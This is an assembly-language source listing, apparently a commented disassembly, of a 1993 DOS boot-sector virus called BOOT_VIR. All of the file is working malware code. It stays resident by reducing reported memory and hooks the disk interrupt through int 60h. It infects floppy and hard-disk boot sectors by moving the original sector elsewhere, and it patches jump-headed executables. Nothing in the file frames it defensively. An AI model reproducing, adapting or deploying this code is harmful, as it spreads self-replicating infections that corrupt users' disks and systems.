;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ BOOT_VIR ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 9-Jul-93 Comments by Mike M. ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Int60_Offset equ 180h Int60_Segment equ 182h main_ram_size_ equ 413h d_0000_07B4_e equ 7B4h ;* seg_a segment byte public assume cs:seg_a, ds:seg_a org 0 boot_vir proc far start: nop nop nop cli xor ax,ax mov ds,ax mov ss,ax mov sp,7C00h mov si,sp sti mov ax,ds:main_ram_size_ dec ax mov ds:main_ram_size_,ax mov cl,6 shl ax,cl push ax mov es,ax mov cx,200h xor di,di rep movsb mov ax,2Eh push ax retf SectorNum db 2 ; Location Cylinder db 27h ; of original Drive db 0 ; boot sector Side db 0 ; on infected disk boot_vir endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ main proc near mov ax,word ptr ds:[4Ch] mov word ptr ds:[180h],ax mov ax,word ptr ds:[4Eh] mov word ptr ds:[182h],ax cli mov ax,78h mov word ptr ds:[4Ch],ax mov word ptr ds:[4Eh],es mov word ptr ds:[188h],ax mov word ptr ds:[18Ah],es mov byte ptr ds:[187h],0EAh sti push ds push cs pop ds mov cx,word ptr SectorNum mov dx,word ptr Drive cmp Drive,0 jne loc_006D push dx push cx xor bx,bx call sub_019F pop cx pop dx loc_006D: mov ax,201h pop es mov bx,sp push es push bx int 60h ; original Int 13h retf main endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ In13_Handler proc near cmp ah,2 jne loc_00B9 cmp dl,80h jae loc_008A cmp ch,1 ja loc_008A call sub_00CF loc_008A: cmp cx,1 jne loc_00CA cmp dh,0 jne loc_00CA int 60h ; original Int 13h jnc loc_009B loc_ret_0098: retf 2 loc_009B: cmp word ptr es:[bx],9090h jne loc_ret_0098 push dx push cx push ax pushf mov ax,201h mov cx,es:[bx+2Ah] mov dx,es:[bx+2Ch] int 60h ; original Int 13h popf pop ax pop cx pop dx jmp short loc_ret_0098 loc_00B9: cmp ah,3 jne loc_00CA cmp al,2 jb loc_00CA cmp dl,80h jae loc_00CA call sub_0140 loc_00CA: int 60h ; original Int 13h retf 2 In13_Handler endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_00CF proc near push es push ax push bx push cx push dx mov al,1 mov cx,1 mov dh,0 int 60h ; original Int 13h jc loc_011D cmp word ptr es:[bx],9090h je loc_011D mov ax,es:[bx+13h] push dx xor dx,dx div word ptr es:[bx+18h] shr ax,1 dec al pop dx mov dh,0 mov cl,2 mov ch,al mov ax,301h int 60h ; original Int 13h jc loc_011D mov cs:Cylinder,ch mov word ptr cs:Drive,0 xor bx,bx push cs pop es mov ax,301h mov cx,1 mov dh,0 int 60h ; original Int 13h loc_011D: call sub_0126 pop dx pop cx pop bx pop ax pop es retn sub_00CF endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0126 proc near push ds xor bx,bx mov ds,bx mov bx,d_0000_07B4_e cmp word ptr [bx],78h jne loc_013E cli mov word ptr [bx],1187h mov word ptr [bx+2],0FF00h sti loc_013E: pop ds retn sub_0126 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0140 proc near cmp byte ptr es:[bx],0E9h jne loc_ret_016B cmp word ptr es:[bx+1],5000h jb loc_ret_016B push ds push si push di push cx mov di,bx push cs pop ds xor si,si mov cx,200h rep movsb mov byte ptr es:[bx],0E9h mov word ptr es:[bx+1],169h pop cx pop di pop si pop ds loc_ret_016B: retn sub_0140 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_016C proc near call sub_016F ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_016F: pop bx push cs pop es sub bx,16Fh mov byte ptr cs:[bx],90h mov word ptr cs:[bx+1],9090h xor ax,ax mov ds,ax cmp word ptr ds:d_0000_07B4_e,1187h je loc_019B les di,dword ptr ds:d_0000_07B4_e mov ds:Int60_Offset,di mov ds:Int60_Segment,es call sub_019F loc_019B: mov ah,4Ch int 21h ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_019F: mov ax,201h push bx push ax mov cx,1 mov dx,80h add bx,200h int 60h ; original Int 13h pop ax jc loc_01D4 cmp word ptr es:[bx],9090h je loc_01D4 inc ah push ax inc cl int 60h ; original Int 13h pop ax jc loc_01D4 pop bx mov byte ptr es:[bx+2Ch],80h mov byte ptr es:[bx+2Bh],0 dec cl int 60h ; original Int 13h retn loc_01D4: pop bx retn sub_016C endp db 40 dup (90h) db 55h,0AAh seg_a ends end start